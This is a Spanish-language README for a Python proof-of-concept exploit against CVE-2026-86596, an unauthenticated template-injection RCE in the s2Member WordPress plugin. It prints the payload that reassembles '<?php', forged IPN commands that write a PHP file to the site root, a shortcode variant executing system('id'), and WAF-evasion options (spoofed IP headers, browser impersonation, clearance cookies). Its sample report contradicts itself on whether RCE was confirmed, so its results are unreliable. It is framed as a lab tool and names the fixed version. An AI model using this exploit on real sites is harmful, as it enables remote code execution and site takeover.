
CVE-2026-86596 s2Member <= 260927 PoC de inyección de plantillas (laboratorio; se requiere verificación IPN)
PoC en Python de un solo archivo para la RCE por inyección de plantillas en s2Member <= 260927.
El código vulnerable:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Carga útil:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() lo deja intacto porque no hay un <? literal.
La sustitución de %%item_name%% lo inserta; la limpieza final de %%(.+?)%%
elimina %%x%%, dejando un abridor <?php válido.
python3 poc.py https://wordpress.lab
Ese es todo el flujo:
cve_test.php con @thiscitze en la raíz de WordPress,https://wordpress.lab/cve_test.php y verifica el marcador.Si el ID del post/página protegido no es 1:
python3 poc.py https://wordpress.lab --item-number 123
Si .php está bloqueado, escribe un marcador de texto plano:
python3 poc.py https://wordpress.lab --filename cve_test.txt
Si el sitio utiliza una clave de verificación de proxy:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Informe conciso:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
El informe responde a tres preguntas distintas:
RCE: NOT CONFIRMED significa que el script no demostró la ejecución de código, incluso si
el estado HTTP fue 200.
El color está activado cuando stdout es un TTY; fuérzalo con --color always o desactívalo
con --color never.
Si el objetivo está detrás de un WAF/desafío, el script intenta automáticamente variantes de forma de la solicitud antes de rendirse:
multipart/form-dataitem_name duplicado (benigno + payload)multipart/form-data con item_name duplicadoX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxyControles opcionales:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion desactiva las variantes automáticas. Un desafío JS puede aún
requerir una sesión de navegador real o un IPN con origen en PayPal; los trucos de
cabeceras no son un bypass garantizado.
Escribe un archivo de prueba en la raíz de WordPress y verifícalo:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
El payload escribe cve_test.php que contiene:
<?php echo "@thiscitze"; ?>
Si .php está bloqueado o no es necesario, escribe un marcador de texto plano en su lugar:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
El archivo se escribe en ABSPATH (la raíz del sistema de archivos de WordPress). Si WordPress está instalado en un subdirectorio, ajusta --test-url en consecuencia.
python3 poc.py --simulate
Esperado:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Variante de código corto:
python3 poc.py --simulate --shortcode --command "system('id');"
Esto produce [s2If php="system('id');"], que se ejecuta si la plantilla
alcanza un sink do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
Lee readme.txt o s2member.php y compara la versión con
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member verifica los IPN con PayPal (POST back) o con una clave de verificación de proxy. Un POST falsificado directamente suele ser rechazado. Para un laboratorio:
item_name sea el payload, opython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
El script imprime la respuesta HTTP y advierte si el objetivo rechazó la verificación.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Obtiene una página y busca CVE-2026-86596, que el payload refleja.
Esto es útil cuando el sink del código de seguimiento / shortcode se renderiza después del IPN.
custom debe comenzar con el nombre de host del sitio (o skip_ipn_domain_validation
debe estar habilitado).item_number válido para la ruta Specific Post/Page.do_shortcode() / [s2If php=...], o una integración personalizada que evalúe
la plantilla de notificación. El cuerpo de correo plano predeterminado en sí se envía
a través de wp_mail, no se evalúa.Actualice a s2Member 261001 o posterior (actual: 261017). La corrección reemplaza
la interpolación secuencial con fill_paypal_template_once() y sanitiza
el destino de seguimiento a [A-Za-z0-9 @._-].
PR:N) dicen no autenticado. Trátelo como remoto/no autenticado para
la prioridad de parcheo, pero valide los requisitos de IPN/proxy en su configuración.